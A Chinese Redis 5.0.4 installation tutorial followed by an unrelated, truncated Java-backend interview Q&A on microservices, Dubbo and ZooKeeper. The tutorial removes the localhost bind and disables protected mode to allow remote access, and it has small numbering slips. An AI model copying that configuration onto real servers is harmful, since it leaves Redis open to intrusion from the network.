Redis的安装1.3.1将redis拖入linux系统本次安装的是Redis-5.0.4版本,首先打开MobaXterm软件,连接好我们的linux虚拟机环境,打开MobaXterm的SFTP面板,选中刚刚下载的redis安装文件,将其拖入到linux的/usr/local/src路径。图3 Redis安装示意图-11.3.2 确认安装文件切换为MobaXterm的SSH面”命令,切换到/usr/local/src路径,然后通过“ls”命令,确定redis安装已传输进来,如图4。图4 Redis安装示意图-21.3.3解压安装文件然后通过“tar -xvf redis-5.0.4.tar.gz”命令,将redis安装文件进行解压,解压的速度非常快哦,如图5。图5 Redis安装示意图-31.3.4 确认解压完成解压之后同学们可以通过“ls”命令发现生成了一个名为redis-5.0.4的文件夹如图6。 图6 Redis安装示意图-41.3.5删除安装文件压缩包原本的redis安装文件此时已经没有用处了,所以我们可以选择使用“rm -f redis-5.0.4.tar.gz”删除该文件,当然了,你也可以选择不删除~~,此时再通过“ls”命令,可以发现之前的安装文件不见了~如图7所示。图7 jdk安装示意图-51.3.6重命名文件夹为redis为了接下来的操作方便,我们可以通过“mv redis-5.0.4 redis”命令,将原本名为redis-5.0.4的文件件改名为redis,如图8所示。图8 Redis安装示意图-61.3.7进入redis文件件接下来通过“cd redis”命令,切入到redis文件夹中,redis文件夹中的内容如图9所示。图9 Redis安装示意图-71.3.8进行redis安装文件的编译此时同学们请再次确定已经进入redis文件夹中,然后在redis的根目录中执行“make”命令,进行redis安装文件的编译,如图10所示,编译期间请稍微等待一会,不要随意乱按哦~。图10 Redis安装示意图-81.3.9安装redis接下来开始安装了哦,在redis的根目录中执行“make install”命令,进行redis安装文件的安装,如图11所示,安装是非常快的。图11 Redis安装示意图-91.4 修改redis.conf1.4.1查看redis.conf文件经由上述的步骤其实我们的redis已经安装完毕了,但是还有一些设置需要操作,我们通过“ls”命令,查看一下当前文件夹中的文件,可以发现有一个redis.conf文件,这个文件是redis中非常重要的配置文件,大家不要乱改,如图12所示。图12 修改redis.conf示意图-11.4.2进入编辑模式我们通过“vim redis.conf”,进入redis.conf文件的编辑模式,如图13所示,此时是不能进行编辑的,此页面右下角有显示行数哦。图13 修改redis.conf示意图-21.4.3快速定位我们通过“:69”命令可以快速跳跃到69行(当然你想跳到n行就可以输入“:n”命令),如图14所示。图14 修改redis.conf示意图-31.4.4去除IP绑定首先我们切换输入法为英文输入法,输入“i”,即可进入写入(Insert)模式,将69行“bind 127.0.0.1”修改为“#bind 127.0.0.1”,经过此处操作,我们可以去除IP绑定,远程连接才能正常访问,如图15所示。注意:修改完配置文件记得按“esc”按钮退出写入模式哦!!!!!图15 修改redis.conf示意图-41.4.5关闭redis保护模式我们通过“:88”命令可以快速跳跃到88行,然后按“i”进入到写入模式,将“protected-mode yes”修改为“protected-mode no”,然后按“esc”退出写入模式,如图16,图17所示,此处操作是关闭redis的保护模式。图16 修改redis.conf示意图-5图17 修改redis.conf示意图-61.4.6开启redis后台启动我们通过“:136”命令可以快速跳跃到136行,然后按“i”进入到写入模式,将“daemonize no”修改为“daemonize yes”,然后按“esc”退出写入模式,如图18,图19所示,此处操作是开启redis后台启动。图18 修改redis.conf示意图-7图19 修改redis.conf示意图-81.4.7配置redis密码我们通过“:507”命令可以快速跳跃到136行,然后按“i”进入到写入模式,在508行加上“requirepass 你设置的密码”,然后按“esc”退出写入模式,如图所示,此处操作是配置redis的密码。1.4.8保存配置文件此时配置文件修改完毕,输入“:wq”,按回车保存并退出编辑模式,如图20所示。图20 修改redis.conf示意图-91.5 Redis的简单使用1.5.1启动redis首先我们通过“redis-server redis.conf”命令来启动redis服务,如图21所示。图21 Redis的简单使用示意图-11.5.2启动redis客户端通过执行“redis-cli”命令来链接本地客户端,如图22所示。图22 Redis的简单使用示意图-21.5.3执行输入命令如果设置了密码需要先认证密码,通过命令“auth 密码”我们可以通过命令“set key value”这种格式来向redis数据库插入key:value值,例如如图23所示,我们执行“set name xiaobai”命令,向redis中插入name为xiaobai的值。图23 Redis的简单使用示意图-31.5.4执行取值命令我们可以通过命令“get key”这种格式来向redis数据库取出key所对应的value值,例如如图24所示,我们执行“get name”命令,可以从redis中取出name所对应的xiaobai这个值。图24 Redis的简单使用示意图-41.5.5退出客户端我们可以通过命令“quit”或者“exit”来退出客户端,如图25、图26所示。也可以利用快捷键“Ctrl+C”来快速退出,如图27所示。图25 Redis的简单使用示意图-5图26 Redis的简单使用示意图-6图27 Redis的简单使用示意图-7
《Java 后端面试经》微服务篇
🚀SpringCloud🚁SpringCloud 是什么?它有哪些组件?SpringCloud 的本质是在 SpringBoot 的基础上,增加了一堆微服务相关的规范,并对应用上下文 (ApplicationContext) 进行了功能增强。既然 SpringCloud 是规范,那么就需要去实现,目前SpringCloud 规范已有 Spring 官方、Spring Cloud Netflix、Spring Cloud Alibaba 等实现。通过组件化的方式,Spring Cloud 将这些实现整合到一起构成全家桶式的微服务技术栈。(1) SpringCloud Netflix 组件组件名称Eureka服务注册中心Ribbon客户端负载均衡Feign声明式服务调用Hystrix客户端容错保护ZuulAPI 服务网关(2) SpringCloud Alibaba 组件组件名称作用Nacos服务注册中心Sentinel客户端容错保护(3) SpringCloud 原生及其他组件组件名称作用Consul服务注册中心Config分布式配置中心GatewayAPI 服务网关Sleuth/Zipkin分布式链路追踪🚁SpringCloud 和 Dubbo 区别?服务调用方式:Dubbo 是 RPC 调用,SpringCloud 是 REST API 调用。注册中心:Dubbo 是 Zookeeper 作为注册中心,SpringCloud 是 Eureka 或者 Zookeeper、Nacos.服务网关:Dubbo 本身没有实现服务网关,只能通过第三方技术整合,SpringCloud 有 Zuul 网关。🚁SpringBoot 和 SpringCloud 的区别?SpringBoot 专注于快速、方便的开发单个微服务个体,SpringCloud 关注全局的服务治理框架。SpringCloud 关注全局的微服务协调整理治理框架,它将 SpringBoot 开发的一个个单体服务整合并管理起来,为各个微服务之间提供配置管理、服务发现、断路器、路由、微代理、事件总线、全局锁、决策竞选、分布式会话等等集成服务。SpringBoot 可以离开 SpringCloud 独立使用开发项目, 但是 SpringCloud 离不开SpringBoot ,属于依赖的关系。🚀分布式🚁什么是 CAP 定理CAP 定理指出对于一个分布式系统来说,当网络出现分区的时候,进行设计读写操作时,需要同时满足以下三点中的两点:一致性(Consistency):所有的节点在同一时间都能看到相同的数据,数据的更新是一致的,所有数据的变化都是同步的。可用性(Availability):即使集群中的部分节点出现故障,服务依然一直可用,能够保证在正常的响应时间内对客户端的读写请求进行响应。分区容错性(Partition tolerance):当分布式系统出现网络分区的时候,仍然能够对外提供服务。CAP 理论中分区容错性(Partition tolerance) 是一定要满足的,在此基础上,只能满足一致性(Consistency) 或者可用性(Availability)。🪂追问:什么叫网络分区?在分布式系统中,多个节点之前的网络本来是连通的,但是因为某些故障(比如部分节点网络出了问题)某些节点之间不连通了,整个网络就分成了几块区域,这就叫网络分区。🪂追问:CAP 应用案例?ZooKeeper 保证的是 CP: 任何时刻对 ZooKeeper 的读请求都能得到一致性的结果,但是,ZooKeeper 不保证每次请求的可用性。例如,在 Leader 选举过程中或者半数以上的机器不可用的时候服务就是不可用的。Eureka 保证的则是 AP: Eureka 在设计的时候就是优先保证 A (可用性)。在 Eureka 中不存在什么 Leader 节点,每个节点都是一样的、平等的。因此 Eureka 不会像 ZooKeeper 那样出现选举过程中或者半数以上的机器不可用的时候,服务就是不可用的情况。 Eureka 保证即使大部分节点挂掉也不会影响正常提供服务,只要有一个节点是可用的就行,只不过这个节点上的数据可能并不是最新的。Nacos 不仅支持 CP 也支持 AP。🚁谈谈对分布式事务的了解分布式事务就是指事务的参与者、支持事务的服务器、资源服务器以及事务管理器分别位于不同的分布式系统的不同节点之上。简单的说,就是一次大的操作由不同的小操作组成,这些小的操作分布在不同的服务器上,且属于不同的应用,分布式事务需要保证这些小操作要么全部成功,要么全部失败。本质上来说,分布式事务就是为了保证不同数据库的数据一致性。🚁分布式锁有哪几种实现方案?定义:分布式锁其实就是控制分布式系统不同进程共同访问共享资源的一种锁的实现,如果不同的系统或同一个系统的不同主机之间共享了某个临界资源,往往需要互斥来防止彼此干扰,以保证数据一致性。分布式锁应该具备的条件:在分布式系统环境下,一个方法在同一时间只能被一个机器的一个线程执行高可用、高性能的获取锁与释放锁具备可重入特性,具备锁失效机制(防止死锁),具备非阻塞锁特性(即没有获取到锁将直接返回获取锁失败)分布式锁的实现方案:(1)基于数据库实现分布式锁:在数据库中创建一个表,表中包含方法名等字段,并在方法名字段上创建唯一索引,想要执行某个方法,就使用这个方法名向表中插入数据,成功插入则获取锁,执行完成后删除对应的行数据释放锁。(2)基于 Redis 实现分布式锁:获取锁的时候,使用 setnx 加锁,并使用 expire 命令为锁添加一个超时时间,超过该时间则自动释放锁,锁的 value 值为一个随机生成的 UUID,通过此在释放锁的时候进行判断。获取锁的时候再设置一个获取的超时时间,若超过这个时间则放弃获取锁。释放锁的时候,通过 UUID 判断是不是该锁,若是该锁,则执行 delete 进行锁释放。(3)基于 Zookeeper 实现分布式锁:ZooKeeper 是一个为分布式应用提供一致性服务的开源组件,它内部是一个分层的文件系统目录树结构,规定同一个目录下只能有一个唯一文件名,基于 ZooKeeper 实现分布式锁的步骤如下:创建一个临时顺序节点,称为 mylock线程 A 想获取锁就在 mylock 节点下创建临时顺序节点。获取 mylock 节点下所有的子节点,然后获取比自己小的兄弟节点,如果不存在,则说明当前线程顺序号最小,获得锁线程 B 获取所有节点,如果判断自己不是最小节点,设置监听比自己次小的节点线程 A 处理完,删除自己的节点,线程 B 监听到变更事件,判断自己是不是最小的节点,如果是则获得锁🪂追问:Redis 和 Zookeeper 实现分布式锁的区别?redis 实现的分布式锁性能高,适合高并发场景;zookeeper 实现分布式锁性能较低redis 实现的分布式锁轻量级,zookeeper 实现的分布式锁属于重量级锁zookeeper 实现的分布式锁比 redis 实现的分布式锁更可靠🚁分布式的幂等性?🚀微服务🚁单片,SOA 和微服务架构有什么区别?单片架构类似于大容器,其中应用程序的所有软件组件组装在一起并紧密封装。SOA(面向服务的架构)是一种相互通信服务的集合,通信可以涉及简单的数据传递,也可以涉及两个或多个协调某些活动的服务。微服务架构是一种架构风格,它将应用程序构建为以业务域为模型的小型自治服务集合。🚁SOA 与微服务的主要区别?功能SOA微服务组件大小大块业务逻辑单独任务或小块业务逻辑耦合通常松耦合总是松耦合公司架构任何类型小型、专注于功能交叉团队管理着重中央管理着重分散管理目标确保应用能够交互操作执行新功能、快速拓展开发团队🚁谈谈对微服务的理解,微服务有哪些优缺点?微服务是一种架构风格,通过将大型单体应用划分为较小的服务单元,从而降低整个系统的复杂度。微服务架构的优点:服务部署更灵活:每个应用都可以是一个独立的项目,可以独立部署,不依赖于其他服务,耦合度低。技术更新灵活:在大型单体应用中,技术要进行更新,往往是非常困难的,而微服务可以根据业务特点,灵活选择技术栈。应用的性能得到提高:在大型单体应用中,往往启动就会成为一个很大的难关,而采用微服务后,整个系统启动速度得到提升。更容易组合专门的团队:在单体应用中,团队成员往往需要对系统的各个部分都要有深入的了解,门槛很高,而采用微服务之后,可以给每个微服务组建专门的团队。代码复用:很多底层服务可以使用 REST API 的方式对外提供统一的服务,所有基础服务可以在整个微服务系统中通用。微服务架构的缺点:微服务的复杂性提高:网络问题、容错问题、负载均衡问题、高并发问题分布式事务:尽量不要使用微服务事务。运维的难度提升: 单体架构只要维护一个环境,而微服务有多个环境,并且运维方式还都不一样,所以对部署、监控、告警等要求就会变得非常困难。🚁微服务中的相关概念?服务注册:服务实例将自身服务信息注册到注册中心,这部分服务信息包括服务所在主机 IP 地址和提供服务的端口号,以及暴露服务自身状态和访问协议等信息。服务发现:服务实例请求注册中心获取所依赖服务信息。服务实例通过注册中心,获取到注册到其中的服务实例的信息,通过这些信息去请求它们提供的服务。负载均衡:负载均衡是高可用网络基础架构的关键组件,通常用于将工作负载分布到多个服务器来提高网站、应用、数据库或其他服务的性能和可靠性。服务熔断:熔断这一概念来源于电子工程中的断路器(Circuit Breaker)。在互联网系统中,当下游服务因访问压力过大而响应变慢或失败,上游服务为了保护系统整体的可用性,可以暂时切断对下游服务的调用,这种牺牲局部,保全整体的措施就叫做熔断。链路追踪:随着微服务架构的流行,服务按照不同的维度进行拆分,一次请求往往需要涉及到多个服务。互联网应用构建在不同的软件模块集上,这些软件模块,有可能是由不同的团队开发、可能使用不同的编程语言来实现、有可能布在了几千台服务器,横跨多个不同的数据中心。因此,就需要对一次请求涉及的多个服务链路进行日志记录,性能监控即链路追踪。API 网关:API 网关字面意思是将所有 API 调用统一接入到 API 网关层,由网关层统一接入和输出。一个网关的基本功能有:统一接入、安全防护、协议适配、流量管控、长短链接支持、容错能力。有了网关之后,各个 API 服务提供团队可以专注于自己的的业务逻辑处理,而API网关更专注于安全、流量、路由等问题。🚁微服务中注册中心有什么作用?服务注册中心是微服务架构非常重要的一个组件,在微服务架构里主要起到了协调者的一个作用,注册中心一般包含如下几个功能:服务配置:1.1 配置订阅:服务提供者和服务调用者订阅微服务相关的配置。1.2 配置下发:主动将配置推送给服务提供者和服务调用者。服务发现:2.1 服务注册/反注册:保存服务提供者和服务调用者的信息。2.2 服务订阅/取消订阅:服务调用者订阅服务提供者的信息,最好有实时推送的功能。2.3 服务路由(可选):具有筛选整合服务提供者的能力。健康检测:3.1 检测服务提供者的健康情况。🚀Eureka🚁谈谈 Eureka 的基本架构Eureka 包含两个组件:Eureka Server 和 Eureka Client,它们的作用如下:Eureka Client 是一个 Java 客户端,用于简化与 Eureka Server 的交互微服务启动后,会周期性地向 Eureka Server 发送心跳(默认周期为 30 秒)以续约自己的信息。如果 Eureka Server 在一定时间内没有接收到某个微服务节点的心跳,Eureka Server 将会注销该微服务节点(默认 90 秒)每个 Eureka Server 同时也是 Eureka Client,多个 Eureka Server 之间通过复制的方式完成服务注册表的同步Eureka Client 会缓存 Eureka Server 中的信息,即使所有的 Eureka Server 节点都宕掉,服务消费者依然可以使用缓存中的信息找到服务提供者Eureka 通过心跳检测、健康检查和客户端缓存等机制,提高了系统的灵活性、可伸缩性和可用性🚁什么是 Eureka 的自我保护模式默认情况下,如果 Eureka Service 在一定时间内没有接收到某个微服务的心跳,Eureka Service 会进入自我保护模式。在该模式下 Eureka Service 会保护服务注册表中的信息,不再删除注册表中的数据,当网络故障恢复后,Eureka Service 会自动推出自我保护模式。🚁Eureka 中的自我保护是怎样实现的?微服务第一次注册成功之后,每 30 秒会发送一次心跳将服务的实例信息注册到注册中心,通知 Eureka Server 该实例仍然存在。如果超过 90 秒没有发送更新,则服务器将从注册信息中将此服务移除。Eureka Server在运行期间,会统计心跳失败的比例在 15 分钟之内是否低于 85%,如果出现低于的情况(在单机调试的时候很容易满足,实际在生产环境上通常是由于网络不稳定导致),Eureka Server 会将当前的实例注册信息保护起来,同时提示这个警告。保护模式主要用于一组客户端和 Eureka Server 之间存在网络分区场景下的保护。一旦进入保护模式,Eureka Server 将会尝试保护其服务注册表中的信息,不再删除服务注册表中的数据(也就是不会注销任何微服务)。可以通过设置 eureka.enableSelfPreservation=false 来关闭自我保护功能。🚁Eureka 中的元数据有哪几种?Eureka 的元数据有两种:标准元数据和自定义元数据:标准元数据:主机名、IP地址、端口号、状态页和健康检查等信息,这些信息都会被发布在服务注册表中,用于服务之间的调用。自定义元数据:可以使用 eureka.instance.metadata-map 配置,符合 KEY/VALUE 的存储格式,这些元数据可以在远程客户端中访问。🚁在 Eureka 中为什么注册一个服务这么慢?这是因为在 Eureka 中,服务的注册涉及到心跳连接,默认为每 30 秒一次。只有当 Eureka 服务端和客户端本地缓存中的服务元数据相同时这个服务才能被其它客户端发现,这需要 3 个心跳周期。可以通过参数 eureka.instance.leaseRenewalIntervalInSeconds 调整这个时间间隔来加快这个过程。🚁Eureka 和 ZooKeeper 都可以提供服务注册与发现的功能,它们有什么区别呢?ZooKeeper 中的节点服务挂了就要重新选举,在选举期间注册服务瘫痪(虽然服务最终会恢复,但是选举期间不可用的),选举就是改微服务做了集群,必须有一台主其他的都是从。Eureka 各个节点是平等关系,服务器挂了没关系,只要有一台 Eureka 就可以保证服务可用,数据都是最新的。 如果查询到的数据并不是最新的,就是因为 Eureka 的自我保护模式导致的。Eureka 本质上是一个工程,而 ZooKeeper 只是一个进程。Eureka 可以很好的应对因网络故障导致部分节点失去联系的情况,而不会像 ZooKeeper 一样使得整个注册系统瘫痪。ZooKeeper 保证的是 CP,Eureka 保证的是 AP.🚀Dubbo🚁什么是 RPC? 为什么需要 RPC?RPC(Remote Procedure Call) 即远程过程调用,它是一种概念。它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。简言之,RPC 使得程序能够像访问本地系统资源一样,去访问远端系统资源。当两个不同的服务器上的服务提供的方法不在一个内存空间,就需要通过网络编程才能传递方法调用所需要的参数。并且,方法调用的结果也需要通过网络编程来接收。但是,如果我们自己手动网络编程来实现这个调用过程的话工作量是非常大的,因为,我们需要考虑底层传输方式(TCP还是UDP)、序列化方式等等方面。RPC 的出现就是为了让你调用远程方法像调用本地方法一样简单。🚁简单谈谈 RPC 的工作原理?RPC 功能的实现依赖于它的组件,其中几个核心的组件有:客户端(服务消费端):调用远程方法的一端。客户端 Stub(桩) : 这其实就是一代理类。代理类主要做的事情很简单,就是把你调用方法、类、方法参数等信息传递到服务端。网络传输 :网络传输就是你要把你调用的方法的信息(参数)传输到服务端,然后服务端执行完之后再把返回结果通过网络传输回来。网络传输的实现方式有很多种比如最近基本的 Socket 或者性能以及封装更加优秀的 Netty(推荐)。服务端 Stub(桩) :这个桩就不是代理类。这里的服务端 Stub 实际指的就是接收到客户端执行方法的请求后,去指定对应的方法然后返回结果给客户端的类。服务端(服务提供端):提供远程方法的一端。RPC 的工作过程:服务消费端(client) 以本地调用的方式调用远程服务。客户端 Stub(client stub) 接收到调用后负责将方法、参数等组装成能够进行网络传输的消息体(序列化):RpcRequest.客户端 Stub(client stub) 找到远程服务的地址,并将消息发送到服务提供端。服务端 Stub(桩) 收到消息将消息反序列化为 Java 对象: RpcRequest.服务端 Stub(桩) 根据 RpcRequest 中的类、方法、方法参数等信息调用本地的方法。服务端 Stub(桩) 得到方法执行结果并将组装成能够进行网络传输的消息体:RpcResponse(序列化) 发送至消费方。客户端 Stub(client stub) 接收到消息并将消息反序列化为 Java 对象: RpcResponse ,得到返回结果。🚁HTTP 和 RPC 区别?传输协议:RPC 可以基于 TCP 协议,也可以基于 HTTP 协议。HTTP 基于 HTTP 协议。负载均衡:RPC 基本都自带了负载均衡策略,HTTP 需要配置 Nginx 来实现。服务治理:RPC 能做到自动通知,不影响上游,HTTP 需要事先通知,修改 Nginx 配置。性能消耗:RPC 可以基于 thrift 实现高效的二进制传输,HTTP 大部分是通过 json 来实现的,字节大小和序列化耗时都比 thrift 要更消耗性能。传输效率:RPC 使用自定义的 TCP 协议,可以让请求报文体积更小,提高传输效率 HTTP 请求中会包含很多无用的内容。调用环境:RPC 通常用于调用公司内部服务调用,HTTP 主要用于对外的异构环境、浏览器接口调用、APP 接口调用。🚁什么是 Dubbo?Dubbo 是一款高性能、轻量级的开源 Java RPC 框架。Dubbo 提供了六大核心能力:面向接口代理的高性能 RPC 调用智能容错和负载均衡服务自动注册和发现高度可扩展能力运行期流量调度可视化的服务治理与运维🚁Dubbo 架构中的核心角色有哪些?Container: 服务运行容器,负责加载、运行服务提供者。Provider: 暴露服务的服务提供方,会向注册中心注册自己提供的服务。Consumer: 调用远程服务的服务消费方,会向注册中心订阅自己所需的服务。Registry: 服务注册与发现的注册中心。注册中心会返回服务提供者地址列表给消费者。Monitor: 统计服务的调用次数和调用时间的监控中心。服务消费者和提供者会定时发送统计数据到监控中心。其中,Registry 和 Monitor 是可选的,不是一定需要。🚁谈谈一次 Dubbo 服务请求流程?Dubbo 的架构如下图所示:Dubbo 请求服务过程中的调用链如下图所示:生产者的调用过程:首先,生产者启动,初始化服务实例,通过 Proxy 组件调用具体协议,把服务端需要暴露的接口封装成 Invoker,然后转换成 Exporter。之后,框架会打开服务端口等并记录服务实例到内存中,最后通过 Registry 把服务元数据注册到注册中心,这就是服务端整个接口暴露的过程。消费者的调用过程:首先,调用过程也是从一个 Proxy 开始的,Proxy 持有了一个 Invoker 对象,然后触发 invoke 调用。其次,在 invoke 调用过程中,需要使用 Cluster,Cluster 负责容错,如调用失败的重试,Cluster 在调用之前会通过 Directory 获取所有可以调用的远程服务 invoker 列表(一个接口可能有多个节点提供服务)。由于可以调用的远程服务很多,此时如果用户配置了路由规则,那么还会根据路由规则将 Invoker 列表过滤一遍。之后,再通过 LoadBalance 方法做负载均衡,最终选出一个可以调用的 Invoker。这个 Invoker 在调用之前又会经过一个过滤器链,这个过滤器链通常是处理上下文,限流,计数等。然后,会使用 Client 做数据传输,如我们常见的 Netty Client 等,对数据包进行序列化,然后传输到服务提供者。服务提供者收到数据包,再对完整的数据报文做反序列化的处理。最后,request 请求会被分配到线程池中进行处理,Server 处理这些 Request,根据请求查找对应的 Exporter,再经过一个服务提供者的过滤器链我们最终就得到了一个具体接口的真实实现并调用。🚁谈谈 Dubbo 的工作原理?Dubbo 的整体设计如下图所示:图例说明:图中左边淡蓝背景的为服务消费方使用的接口,右边淡绿色背景的为服务提供方使用的接口,位于中轴线上的为双方都用到的接口。图中从下至上分为十层,各层均为单向依赖,右边的黑色箭头代表层之间的依赖关系,每一层都可以剥离上层被复用,其中,Service 和 Config 层为 API,其它各层均为 SPI。图中绿色小块的为扩展接口,蓝色小块为实现类,图中只显示用于关联各层的实现类。图中蓝色虚线为初始化过程,即启动时组装链,红色实线为方法调用过程,即运行时调时链,紫色三角箭头为继承,可以把子类看作父类的同一个节点,线上的文字为调用的方法config 配置层:对外配置接口,以 ServiceConfig, ReferenceConfig 为中心,可以直接初始化配置类,也可以通过 spring 解析配置生成配置类proxy 服务代理层:服务接口透明代理,生成服务的客户端 Stub 和服务器端 Skeleton, 以 ServiceProxy 为中心,扩展接口为 ProxyFactoryregistry 注册中心层:封装服务地址的注册与发现,以服务 URL 为中心,扩展接口为 RegistryFactory, Registry, RegistryServicecluster 路由层:封装多个提供者的路由及负载均衡,并桥接注册中心,以 Invoker 为中心,扩展接口为 Cluster, Directory, Router, LoadBalancemonitor 监控层:RPC 调用次数和调用时间监控,以 Statistics 为中心,扩展接口为 MonitorFactory, Monitor, MonitorServiceprotocol 远程调用层:封装 RPC 调用,以 Invocation, Result 为中心,扩展接口为 Protocol, Invoker, Exporterexchange 信息交换层:封装请求响应模式,同步转异步,以 Request, Response 为中心,扩展接口为 Exchanger, ExchangeChannel, ExchangeClient, ExchangeServertransport 网络传输层:抽象 mina 和 netty 为统一接口,以 Message 为中心,扩展接口为 Channel, Transporter, Client, Server, Codecserialize 数据序列化层:可复用的一些工具,扩展接口为 Serialization, ObjectInput, ObjectOutput, ThreadPool🚁服务调用是阻塞的吗?默认是阻塞的,可以异步调用,没有返回值的可以这么做。Dubbo 是基于 NIO 的非阻塞实现并行调用,客户端不需要启动多线程即可完成并行调用多个远程服务,相对多线程开销较小,异步调用会返回一个 Future 对象。🚁注册中心挂了,consumer 还能不能调用 provider?可以调用。因为刚开始初始化的时候,consumer 会将需要的所有提供者的地址等信息拉取到本地缓存,所以注册中心挂了可以继续通信。但是 provider 挂了,那就没法调用了。🚁Dubbo 的负载均衡策略有哪些?在集群负载均衡时,Dubbo 提供了多种均衡策略,缺省为 random 随机调用。具体实现上,Dubbo 提供的是客户端负载均衡,即由 Consumer 通过负载均衡算法得出需要将请求提交到哪个 Provider 实例。目前 Dubbo 内置了如下负载均衡算法,用户可直接配置使用:算法特性说明RandomLoadBalance加权随机默认算法,默认权重相同RoundRobinLoadBalance加权轮询借鉴于 Nginx 的平滑加权轮询算法,默认权重相同LeastActiveLoadBalance最少活跃优先 + 加权随机背后是能者多劳的思想ShortestResponseLoadBalance最短响应优先 + 加权随机更加关注响应速度ConsistentHashLoadBalance一致性 Hash确定的入参,确定的提供者,适用于有状态请求🚁Dubbo 容错策略有哪些?在集群调用失败时,Dubbo 提供了多种容错方案,缺省为 Failover 重试。Failover:失败自动切换,当出现失败时,重试其它服务器。通常用于读操作,但重试会带来更长延迟。可通过 retries="2" 来设置重试次数(不含第一次)Failfast:快速失败,只发起一次调用,失败立即报错。通常用于非幂等性的写操作,比如新增记录Failsafe :失败安全,出现异常时,直接忽略。通常用于写入审计日志等操作Failback:失败自动恢复,后台记录失败请求,定时重发。通常用于消息通知操作Forking :并行调用多个服务器,只要一个成功即返回。通常用于实时性要求较高的读操作,但需要浪费更多服务资源。可通过 forks="2" 来设置最大并行数🚁Dubbo 是如何做到动态感知服务下线的?服务订阅通常有 pull 和 push 两种方式:pull 模式需要客户端定时向注册中心拉取配置push 模式采用注册中心主动推送数据给客户端DubboZookeeper 注册中心采用是事件通知与客户端拉取方式。服务第一次订阅的时候将会拉取对应目录下全量数据,然后在订阅的节点注册一个 watcher. 一旦目录节点下发生任何数据变化,Zookeeper 将会通过 watcher 通知客户端。客户端接到通知,将会重新拉取该目录下全量数据,并重新注册 watcher。利用这个模式,Dubbo 服务就可以就做到服务的动态发现。注意:Zookeeper 提供了“心跳检测”功能,它会定时向各个服务提供者发送一个请求(实际上建立的是一个 socket 长连接),如果长期没有响应,服务中心就认为该服务提供者已经“挂了”,并将其剔除。🚀Zookeeper🚁Zookeeper 的工作机制?Zookeeper 是一个开源的分布式的,为分布式框架提供协调服务的 Apache 项目。Zookeeper 从设计模式角度来理解:是一个基于观察者模式设计的分布式服务管理框架,它负责存储和管理数据,然后接受观察者的注册,一旦这些数据的状态发生变化,Zookeeper 就将负责通知已经在 Zookeeper 上注册的那些观察者做出相应的反应。Zookeeper = 文件系统+通知机制🚁简单介绍一下 Zookeeper 的文件系统Zookeeper 提供一个多层级的节点命名空间(节点称为 znode),类似于 Linux 系统的文件目录,但是这些节点都可以设置关联的数据,而 Linux 文件系统中只有文件节点可以存放数据而目录节点不行。Zookeeper 为了保证高吞吐和低延迟,在内存中维护了一个树状的目录结构,这种特性使得 Zookeeper 不能用于存放大量的数据,每个节点的存放数据上限为 1M.🚁Zookeeper 的特点有哪些?Zookeeper:一个领导者(Leader),多个跟随者(Follower)组成的集群。集群中只要有半数以上节点存活,Zookeeper 集群就能正常服务,所以 Zookeeper 适合安装奇数台服务器。全局数据一致:每个 Server 保存一份相同的数据副本,Client 无论连接到哪个 Server,数据都是一致的。更新请求顺序执行:来自同一个 Client 的更新请求按其发送顺序依次执行。数据更新原子性:一次数据更新要么成功,要么失败。实时性:在一定时间范围内,Client 能读到最新数据。🚁Zookeeper 有哪些应用场景?分布式锁:通过创建全局唯一节点获得分布式锁,当获得锁的一方执行完相关代码或者是挂掉之后就释放锁。统一命名服务:在分布式环境下,经常需要对应用/服务进行统一命名,便于识别,可以通过 Zookeeper 的顺序节点生成全局唯一 ID.统一配置管理:可将配置信息写入 ZooKeeper 上的一个 znode,各个客户端服务器监听这个 znode,一旦 znode 中的数据被修改,ZooKeeper 将通知各个客户端服务器。数据发布/订阅:通过 watcher 机制 可以很方便地实现数据发布/订阅,当你将数据发布到 Zookeeper 被监听的节点上,其他机器可通过监听 Zookeeper 上节点的变化来实现配置的动态更新。负载均衡:在 Zookeeper 中记录每台服务器的访问数,让访问数最少的服务器去处理最新的客户端请求。🚁ZooKeeper 有哪些节点类型?Znode 有两种类型:短暂(ephemeral):客户端和服务器端断开连接后,创建的节点自己删除。持久(persistent):客户端和服务器端断开连接后,创建的节点不删除。Znode 有四种形式的目录节点(默认是 persistent)持久节点:一旦创建就一直存在即使 Zookeeper 集群宕机,直到将其删除。临时节点 :临时节点的生命周期是与客户端会话 (Session) 绑定的,会话消失则节点消失。并且,临时节点只能做叶子节点 ,不能创建子节点。持久顺序节点 :除了具有持久节点的特性之外, 子节点的名称还具有顺序性。比如 /node1/app0000000001 、/node1/app0000000002临时顺序节点 :除了具备临时节点的特性之外,子节点的名称还具有顺序性。🚁谈谈 Zookeeper 中的权限控制?ZooKeeper 采用 ACL(Access Control List) 策略来进行权限控制,类似于 UNIX 文件系统的权限控制。对于 znode 操作的权限,ZooKeeper 提供了以下 5 种:CREATE : 能创建子节点READ :能获取节点数据和列出其子节点WRITE : 能设置/更新节点数据DELETE : 能删除子节点ADMIN : 能设置节点 ACL 的权限CREATE 和 DELETE 这两种权限都是针对子节点的权限控制。对于身份认证,提供了以下几种方式:world:默认方式,所有用户都可无条件访问。auth:不使用任何 id,代表任何已认证的用户。digest:用户名:密码认证方式:username:password.ip : 对指定 ip 进行限制。🚁请描述一下 Zookeeper 的通知机制是什么?客户端会对某个 znode 建立一个 watcher 事件,当该 znode 发生变化时,这些客户端会收到 zk 的通知,然后客户端可以根据 znode 变化来做出业务上的改变等。🚁ZooKeeper 对节点的 watch 监听通知是永久的吗?不是永久的。一个 watch 事件是一个一次性的触发器,当被设置了 watch 的数据发生了改变的时候,则服务器将这个改变发送给设置了 watch 的客户端,以便通知它们。为什么不是永久的呢?举个例子,如果服务端变动频繁,而监听的客户端很多情况下,每次变动都要通知到所有的客户端,给网络和服务器造成很大的压力。一般是客户端执行 getData(“/节点 A”, true),如果节点 A 发生了变更或删除,客户端会得到它的 watch 事件,但是在之后节点 A 又发生了变更,而客户端又没有设置 watch 事件,就不再给客户端发送。在实际应用中,很多情况下,我们的客户端不需要知道服务端的每一次变动,只要获取到最新的数据即可。🚁ZooKeeper 中使用 watch 的注意事项有哪些?watch 通知是一次性的,必须重复注册。对某个节点注册了 watch,但是节点被删除了,那么注册在这个节点上的 watch 都会被移除。同一个 zk 客户端对某一个节点注册相同的 watch,只会收到一次通知。watch 对象只会保存在客户端,不会传递到服务端。发生 CONNECTIONLOSS 之后,只要在 session_timeout 之内再次连接上(即不发生SESSIONEXPIRED),那么这个连接注册的 watch 依然在。🚁ZooKeeper 集群中有哪些角色?在 ZooKeeper 中没有选择传统的 